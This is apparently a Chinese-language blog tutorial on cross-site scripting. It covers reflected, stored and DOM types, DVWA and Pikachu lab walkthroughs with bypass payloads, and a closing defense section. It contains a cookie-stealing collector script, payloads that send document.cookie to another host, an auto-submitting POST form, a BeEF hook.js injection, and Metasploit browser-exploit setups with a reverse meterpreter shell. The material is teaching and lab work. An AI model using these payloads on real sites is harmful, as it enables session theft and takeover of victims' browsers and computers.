- XSS介绍
1.1 认识XSS
XSS ( cross-site script)跨站脚本自1996年诞生以来,一直被OWASP(open web application security project)评为十大安全漏洞中的第三威胁漏洞。也有黑客把xss当做新型的“缓冲区溢出攻击”,而JavaScript是新型的shellcode。
2011年6月份,国内最火的信息发布平台“新浪微博”爆发了xSs蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
1.2 什么是XSS跨站脚本
是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。
1.3 XSS漏洞原理
攻击者在有漏洞的前端页面嵌入恶意代码,导致受害者访问页面时不知情的情况下触发恶意代码,获取受害者关键信息。
形成XSS漏洞的原因本质上还是对输入输出的过滤限制不严格,导致精心构造的脚本输入后,在前端被当做有效代码并执行。

举例:http://127.0.0.1/web/xss/xss1.php?
用firefox按F12进入html编辑器或者直接查看网页源代码

寻找输入点,在输入点输入特殊字符<>’’等,查看是否存在拦截,并且通过编辑器查看输入后存放的位置

发现没有过滤特殊字符后,就要考虑如何构造payload进行xss攻击了。开始分析漏洞页面,构建payload。

网页内容为输出后的显示,箭头部分是我们可控输入的部分<input type="text" value="123">
<input>是一个空元素,所以在元素内是无论如何不能写入内容的,所以我们先要把<input>闭合掉,然后再插入我们的xsspayload。
我们预想的弹窗语句:<input type="text" value=" "><script>alert('xss')</script>">
Input是一个完整的元素后面跟一个新的元素标签<script>,此时的<script>已经包含在正文的body内,成为可以执行的新元素,那么此时弹窗语句可以顺利执行。所以我们往回推,为保证输入过后能成为上面的语句,我们应该怎么做呢?如首先输入一个">将input元素闭合,其次将后面的<script>内容输入即可。
payload:"><script>alert('xss')</script>,我们尝试输入一下,成功弹窗。

1.4 XSS的危害
网络钓鱼,包括盗取各类的用户账号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量网页挂马
提升用户权限,进一步渗透网站
传播跨站脚本蠕虫等

1.5 XSS漏洞的挖掘
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
URL的每一个参数
URL本身
表单
搜索框
常见业务场景:
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
二、XSS分类
XSS攻击类型可以分为三种:反射型、存储型、DOM型。
2.1 反射型XSS
反射型XSS与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。反射性XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,浏览器解析这段代码后就会触发xss攻击,完成攻击者想要的功能(获取cookies、url、浏览器信息、IP等等)。
2.1.1 反射型XSS攻击举例
在“输入”表单中输入内容,单击“提交”按钮后,将输入的内容放到“输出”表单中,例如当输入“12”,单击“提交按钮”,“12”将被输出到“输出”表单中。

当访问http://127.0.0.1/web/XSS/xss1.php?xss_input_value="><img src=1+οnerrοr=alert('xss')>
输出到页面的HTML代码变成了如下所示。可以看到,输入的双引号闭合了value属性的双引号,输入的>闭合了input的标签<,导致输入的<img src=1 οnerrοr=alert(‘xss’)>变成了HTML标签。

浏览器渲染时,执行了<img src=1 οnerrοr=alert(‘xss’)>,JS函数alert()导致浏览器弹窗。
(注:弹框实际上并不能造成什么危害,但这是我们用来测试xss漏洞点的一个方法。
<script>标签中可以执行javascript代码,所以理论上可以做任何事)
<img src=1 onerrror=alert(‘xss’)>
在线短网址生成:短网址生成_aad短网址
https://aad.tw/kp9c
2.1.2反射型XSS代码分析
在反射型XSS PHP代码中,通过GET获取参数xss_input_value的值,然后通过echo输出一个input标签,并将xss_input_value的值放入input标签的value中。当访问xss_input_value=“><img src=1 οnerrοr=alert(‘xss’)>时,输出到页面的HTML代码变为<input type=”text“ value=” “><img src=1 οnerrοr=alert(‘xss’)> ,此段HTML代码有两个标签,<input>标签和<img>标签,而<img>标签的作用就是让浏览器弹窗显示”xss”,代码如下:

2.2 储存型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意叫你本的帖子时,恶意脚本会在他们的浏览器中得到执行。
如下,恶意攻击者在留言板中加入以下代码:
<script>alert(“hello”)</script>
当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所以访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
2.2.1 存储型XSS攻击举例
储存型XSS页面实现的功能是:获取用户输入的留言信息,标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。


当输入标题为<img src=1 οnerrοr=alert(/xss/)>,然后将标题输出到页面时,页面执行了<img src=1 οnerrοr=alert(/xss/)>,导致弹窗。此时,这里的XSS就是持久性的,也就是说,任何人访问该URL时都会导致一个显示XSS的框

2.2.2 存储型XSS攻击代码分析
在存储型xss的PHP代码中,获取POST参数title和参数content,然后将参数插入数据表中,接下来通过select查询将表XSS中的数据查询出来,并显示到页面上。

当用户在标题出写入<img src=1 οnerrοr=alert(/xss/)>时,数据库中的数据如下:

当将title输出到页面时,页面执行了<img src=1 οnerrοr=alert(/xss/)>,导致弹窗。
2.3 DOM型XSS
2.3.1 DOM型XSS介绍
通过js代码操作前端的DOM节点(文档对象模型)时触发的XSS漏洞,一般不与后台服务器产生数据交互,属于中低危漏洞。
浏览器在解析html这种文档数据的时候,将文件数据当中的代码组织成一种文档型形式,这种文档就叫DOM文档。DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。HTML DOM树结构如下:

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
2.3.2 攻击方式
用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
可能触发DOM型XSS的js操作如下:
document.referer
window . name属性
1ocation属性
innerHTML属性
documen.write属性
闭合标签:
' οnclick="alert('xss')"
' οnclick="alert('xss')">
'><img src="#" onmuouseover="alert('xss')">
2.3.3 DOM型XSS攻击举例
DOM型XSS攻击页面实现的功能是在”输入”框中输入信息,单击“替换”按钮时,页面会将”这里会显示输入的内容”替换为输入的信息,如输入aa,页面将“这里显示输入的内容”替换为aa。
测试地址: http://127.0.0.1/web/XSS/xss3.php
当输入<img src=1 οnerrοr=alert(/xss/)>时。单击替换,弹窗。

2.3.4 DOM型XSS攻击代码分析
从HTML源码中可以看到,存在JS函数tihuan(),该函数作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。
DOM型XSS程序只有HTML代码,并不存在服务器段代码,所以此程序并没有与服务器进行交互。
单击“替换”按钮时会执行JavaScript的tihuan()函数,而tihuan()函数是一个DOM操作,通过document.getElementById获取ID为id1的节点,然后将节点id1的内容修改成id为dom_input中的值,即用户输入的值。当输入<img src=1 οnerrοr=alert(‘xss’)>时,单击“替换”按钮,页面弹出消息框,但由于是隐式输出的,所以在查看源码时,看不到输出的XSS代码。

三、XSS常用的语句及绕过
3.1 XSS常用的测试语句:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
onclick=alert(1);
3.2 常用的绕过
常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码
3.2.1 JS编码
JS提供了四种字符编码的策略,如下所示:
三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。
两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。
四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)。
3.2.2 HTML实体编码
命名实体:以&开头,以分号结尾如 “<”的编码是“<”。
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值”。例如”<”可以编码为“<”和“<”。
3.2.3 URL编码
这里的URL编码,也是两次URL全编码的结果,如果alert被过滤,结果为
%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。
- XSS之DVWA练习实战
4.1 DVWA之Reflected XSS(反射型XSS)
4.1.1 Low级别
源代码:

可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,存在非常明显的XSS漏洞
我们输入 <script>alert('hack')</script> 直接就执行了我们的 js 代码

查看源代码可以看到,我们的js代码已经被插入到页面中了

4.1.2 Medium级别
源代码

<pre> </pre> 元素可定义预格式化的文本。被包围在pre元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。
可以看到,medium级别的代码只是在low级别上增加了对于<scripit>的过滤,并没有什么用,我们可以直接大写绕过,我们输入 <SCRIPT>alert('hack')</SCRIPT> ,直接就执行了我们的js代码。

查看源代码,可以看到,我们的代码虽然输入的时候是大写(躲过了过滤),但是最后输出的时候确是小写的。

4.1.3 High级别
源代码:

可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,我们的<script>标签在这里就不能用了。但是我们可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
我们输入<img src=1 οnerrοr=alert('hack')>
上面输入的意思是,当图片显示错误时,然后执行 alert('hack') ,这里我们的src=1肯定显示错误啊,所以就执行alert语句。

4.1.3 impossible级别
源代码:

htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签
当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。

我们可以查看源代码,表单提交的过程中,把我们的user_token也一并提交了,来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行。

4.2 DVWA之Stored XSS(存储型XSS)
4.2.1 Low级别
源代码:

trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞
我们输入 aa 和 <script>alert('hack')</script> ,可以看到,我们的js代码立即就执行了

查看数据库,我们的代码被插入到了数据库进行存储。

查看源代码,可以看到,Message位置显示的是我们的js代码,因为这里显示的数据是调用数据库里的数据

4.2.2 Medium级别
源代码:

addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次输入1 和 <script>alert('hack')</script> ,strip_tags函数把<script>标签给剥除了,addslashes函数把 ' 转义成了 \'
\

虽然 Message 参数把所有的XSS都给过滤了,但是name参数只是过滤了<script>标签而已,我们依然可以在name参数进行注入,可是发现name参数对长度有限制,最大长度是10。

所以我们想到了抓包,然后进行篡改,我们输入如下的,然后抓包

如下框中的数据就是 <script>al 经过URL编码后的数据

我们需要将其修改为 <SCRIPT>alert('hack')</SCRIPT> 经过URL编码后的数据

提交后,就可以看到弹出此框了,说明我们的js代码执行了

查看数据库,可以看到我们的代码插入进数据库了。

查看页面源代码,可以看到name位置插入了我们的js代码

4.2.3 High级别
源代码:

可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成 <img src=1 οnerrοr=alert('hack')>
我们输入如下的。

然后将<img src=1 οnerrοr=alert('hack')> 进行URL编码

可以看到,我们的js代码执行了

查看数据库,我们的代码被插入进数据库了

查看源代码,可以看到name位置插入了我们的img标签

4.2.4 impossible级别
源代码:

可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞。
4.3 DVWA之DOM XSS(DOM型跨站脚本攻击)
4.3.1 Low级别
源代码:

从源代码可以看出,这里low级别的代码没有任何的保护性措施!
页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤

所以我们可以构造XSS代码,访问链接:
http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
可以看到,我们的script脚本成功执行了

我们查看源代码,可以看到,我们的脚本插入到代码中,所以执行了

4.3.2 Medium级别
源代码:

可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English 。
很明显,这里过滤了 <script>(不区分大小写),那么我们可以使用
<imgsrc=1 οnerrοr=('hack')>
但是当我们访问URL:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert('hack')>
此时并没有弹出任何页面

我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,我们构造语句闭合option标签:
<option value=' " + lang + " '> " + decodeURI(lang) + " </option>
所以,我们构造该链接:
http://127.0.0.1/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')>

但是我们的语句并没有执行,于是我们查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入

于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了
我们构造该链接:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('hack')>
我们查看源代码,可以看到,我们的语句已经插入到页面中了

4.3.3 High级别
4.3.4 impossible级别
五、XSS盗取cookie实战
5.1 XSS常用的小工具
- Hackbar
- Firebug
- Tamper Data
- Live HTTP Headers
- Editor Cookie
5.2 盗取cookie实战
5.2.1 反射型XSS(GET)获取cookie
实验一:DVWA反射型XSS(GET)获取cookie

第一步:编写获取cookie的代码cookie.php,并放在一个web服务器上,代码内容如下所示:
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
设置文件的权限:
# ps -axu | grep apache #查看运行 apache 进程的用户名
# chown www-data:www-data web.php #同时改变文件的所有者与属组
# touch cookie.txt #创建存 cookie 的文件
# chown www-data:www-data cookie.txt
第二步:重启apache服务器 systemctl restart apache2
第三步:使用普通用户构造如下URL,并发送给被攻击者
完整的 URL:
http://192.168.149.170/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.149.156/a.php?cookie='+ document.cookie</script>
但是通过这样访问,因为 url 中直接有“js 脚本”有时服务器会拒绝,不成功。所以我们需要对payload进行URL编码,如下所示:
http://192.168.149.170/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http:%2f%2f192.168.149.156%2fa.php?cookie=%27%2b%20document.cookie%3C%2fscript%3E
将进行URL编码后的地址输入http://aad.tw/网站生成短地址,并发送给其他用户点击。

第四步:在kali中查看Cookie 信息
# cat /var/www/html/cookie.txt
![]()
第五步:如果是管理员点击了这个链接,我们就可以通获得的cookie提升权限。
打开burp抓包并修改cookie信息,如下所示:



实验二:Pikachu XSS平台搭建及后台使用(盗取cookie)
- XSS平台搭建及后台使用
访问:http://127.0.0.1/pikachu/pkxss/进行初始化。
将pikachu目录下的pkxss文件夹复制到攻击机上,并修改如下代码:
- 修改数据库连接
修改inc目录下的config.inc.php文件
<?php
//全局session_start
session_start(); //全局居设置时区
date_default_timezone_set('Asia/Shanghai');//全局设置默认字符
header('Content-type:text/html;charset=utf-8');//定义数据库连接参数
define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址
define('DBUSER', 'root');//将root修改为连接mysql的用户名
define('DBPW', '123456');//将root修改为连接mysql的密码
define('DBNAME', 'pkxss');//自定义,建议不修改
define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
?>
(2)修改xcookie目录下的cookie.php文件(文件中的代码是用来获取用户的cookie)
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.149.128/pikachu/index.php");//重定向到一个可信的网站
?>
(3)登录XSS平台

获取cookie的php文件是:http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php
- 盗取cookie
测试URL:http://192.168.149.128/pikachu/vul/xss/xss_reflected_get.php
- 测试是否存在XSS漏洞

(2)构造盗取cookie的语句并点击提交
<script>document.location='http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php?cookie='+ document.cookie</script>
(3)查看获取的cookie信息

由于这是个存储型XSS,所以Payload会存储在后台数据库,当其他用户只要访问到这个页面就会触发payload,cookie就会被盗。
5.2.2 反射型XSS(POST)获取cookie
POST请求方式的XSS攻击其实是比较难实现的,因为要构造一个网页html文件出来
POST攻击利用页面:/pikachu/pkxss/xcookie/post.html
构造的Payload页面:http://127.0.0.1/pikachu/pkxss/xcookie/post.html
首先要【以test用户(密码abc123)】登录到网站,找到存在XSS漏洞的页面,并根据页面创建一个html文件(已经存在:/pikachu/pkxss/xcookie/post.html)。根据网站页面对文件做如下修改:
<html>
<head>
<script>
window.onload = function() { //当浏览器加载完页面所有的内容后自动触发执行
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.149.128/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->
最后将这个页面的访问地址发给用户,一旦用户以管理员admin登录,并点击了这个页面,那么他的cookie就会被盗。如下图所示:

六、XSS-beef的使用实例
6.1 劫持客户端浏览器
第一步:安装并配置beef-xss
# apt-get install beef-xss 安装beef-xss
# systemctl start apache2 启动apache服务
# cd /usr/share/beef-xss 进入安装目录
#./beef 启动beef-xss会提示更改默认用户名和密码
# vim /etc/beef-xss/config.yaml 在这个文件中修改用户名和密码
#./beef 启动beef-xss,此时会启动成功

在浏览器输入:http://192.168.149.156:3000/ui/panel

第二步:找到存在XSS漏洞的留言板,并输入以下留言,构造的payload如下:
<script src=http://192.168.149.156:3000/hook.js></script>

第三步:用户浏览留言中招
在beef-xss服务器上就可以看到浏览这个页面的浏览器就被控制了

beef-XSS使用四种颜色来标识功能的可用性。
「绿色」:可以运行,且用户不会感觉出异常
「橙色」:可以运行,但用户可能感到异常(弹窗等)
「灰色」:未验证,不确定是否可以使用
「红色」:不可用
第四步:控制浏览器访问指定的网站


工作原理
beef-XSS有一个内置的 hook.js 文件,文件里是一些用来交互的JS代码。
我们提交payload的时候,其实就是把这个「Hook脚本」挂到了网页上。
挂上去以后,beef-XSS就可以通过「Hook脚本」,和网页进行交互。
我们提交的payload实际上就是在页面插入了一行js代码,代码的内容是一个链接,指向了beef-XSS的hook.js文件:
第五步:社工弹窗


目标“登录”后,信息就会提交到工具中,点击对应的记录就可查看提交的信息。


6.2 利用beef+msf拿用户shell(基于客户端ie6 )
第一步:启动beef-xss

第二步:配置msf
# msfconsole
msf6 > use exploit/windows/browser/ms10_002_aurora 浏览器极光漏洞
> set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > set srvhost 192.168.149.156
srvhost => 192.168.149.156
msf6 exploit(windows/browser/ms10_002_aurora) > set srvport 7777
srvport => 7777
msf6 exploit(windows/browser/ms10_002_aurora) > set uripath
uripath =>
msf6 exploit(windows/browser/ms10_002_aurora) > set lhost 192.168.149.156
lhost => 192.168.149.156
msf6 exploit(windows/browser/ms10_002_aurora) > set lport 4444

http://192.168.149.156:7777/QTzutFSfMackd
第三步:劫持用户浏览器
找到存在XSS漏洞的留言板,并输入以下留言,构造的payload如下:
<script src=http://192.168.149.156:3000/hook.js></script>

用户浏览留言后,在beef-xss服务器上就可看到浏览这个页面的浏览器就被控制了

第四步:劫持浏览器后,将链接发给客户端用户访问,客户端计算机就会被kali控制。
URL: http://192.168.149.156:7777/KFdwDzDz


第五步:在kali机查看访问这个页面的用户电脑是否被控制



6.3 利用beef+msf拿用户shell(基于客户端使用ie789 )
操作方法同上,只是利用的漏洞不一样,这里就不演示了,只是给出msf相关的配置:
msf6 > use exploit/windows/browser/ie_execcommand_uaf
msf6 exploit(windows/browser/ie_execcommand_uaf) > set srvport 7777
srvport => 7777
msf6 exploit(windows/browser/ie_execcommand_uaf) > set uripath
uripath =>
msf6 exploit(windows/browser/ie_execcommand_uaf) > run
七、XSS的防御
XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。
如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
如下,图一是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体


我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了
修复总结
因为XSS漏洞涉及输入和输出两部分,所以其修复也分两种
A:过滤输入的数据,包括” ‘ ”,” “ ”,”<”,”>” “on*”等非法字符。
B:对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。

4190

被折叠的 条评论
为什么被折叠?



